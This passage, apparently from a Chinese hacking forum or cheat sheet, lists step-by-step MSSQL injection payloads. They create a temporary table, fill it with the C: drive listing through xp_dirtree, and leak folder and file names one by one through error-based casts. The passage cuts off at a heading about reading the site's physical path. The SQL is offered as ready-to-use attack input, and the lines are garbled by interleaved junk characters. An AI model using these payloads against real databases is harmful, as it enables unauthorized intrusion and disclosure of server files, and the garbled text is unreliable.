) ?7 |0 y5 L3 ]3、and (select top 1 cast([data] as nvarchar(4000)+char(124) from [jm_tmp] order by [data] desc)=0 '//暴出字段 * y$ O5 @' L9 B" [8 o! b7 K, ?7 m7 f4 P6 G
4、drop table [jm_tmp]-- 删除此表。 6 e3 }5 X5 J2 F& I- m3 O8 u/ `; v( S, Q F9 Z. q3 o# \
磁盘目录读取代码:6 v* M2 `# M. e: l" ]: K/ O$ h5 N
0 u' O7 l$ U! E' w W1、drop table [jm_tmp];create table [jm_tmp](subdirectory nvarchar(400) NULL,depth tinyint NULL,[file] bit NULL)-- 创建表 # Z! _( I0 m4 c1 Y) [2 H. C 5 i& b4 b& I- a1 C1 l# G2、delete [jm_tmp];insert [jm_tmp] exec master..xp_dirtree 'C:\',1,1-- 将C盘的文件夹及文件插入到表中7 k: X3 @, a q E8 `5 {
3 _( H' N3 w2 R( K# K8 j/ h* Y3、 and 1=(select top 1 cast([subdirectory] as nvarchar(400))+char(124)+cast([file] as nvarchar(1))+char(124) From(select Top 1 [subdirectory],[file] From [jm_tmp] orDER BY [file],[subdirectory]) T orDER BY [file] desc,[subdirectory] desc) '//暴出第一个文件夹名称$ X; p9 f) U5 P% o% h) S
$ l/ C7 R0 C( x4、and 1=(select top 1 cast([subdirectory] as nvarchar(400))+char(124)+cast([file] as nvarchar(1))+char(124) From(select Top 2 [subdirectory],[file] From [jm_tmp] orDER BY [file],[subdirectory]) T orDER BY [file] desc,[subdirectory] desc) '//暴出第二个文件夹名称& Q# s) T8 p! ^" O
6 b7 W' q- m6 C8 x( w5、and 1=(select top 1 cast([subdirectory] as nvarchar(400))+char(124)+cast([file] as nvarchar(1))+char(124) From(select Top X [subdirectory],[file] From [jm_tmp] orDER BY [file],[subdirectory]) T orDER BY [file] desc,[subdirectory] desc) '//暴出第X个文件夹或文件名称8 N4 u1 a4 f' T% S% h
9 K; }+ D: W U5 l6、drop table [jm_tmp]--删除此表* e; q0 Q, c4 h
$ Z5 M, r$ R; Z: _/ x4 h
网站物理路径读取代码:& j' h5 p* e% @2 ^) ?! g% Y' k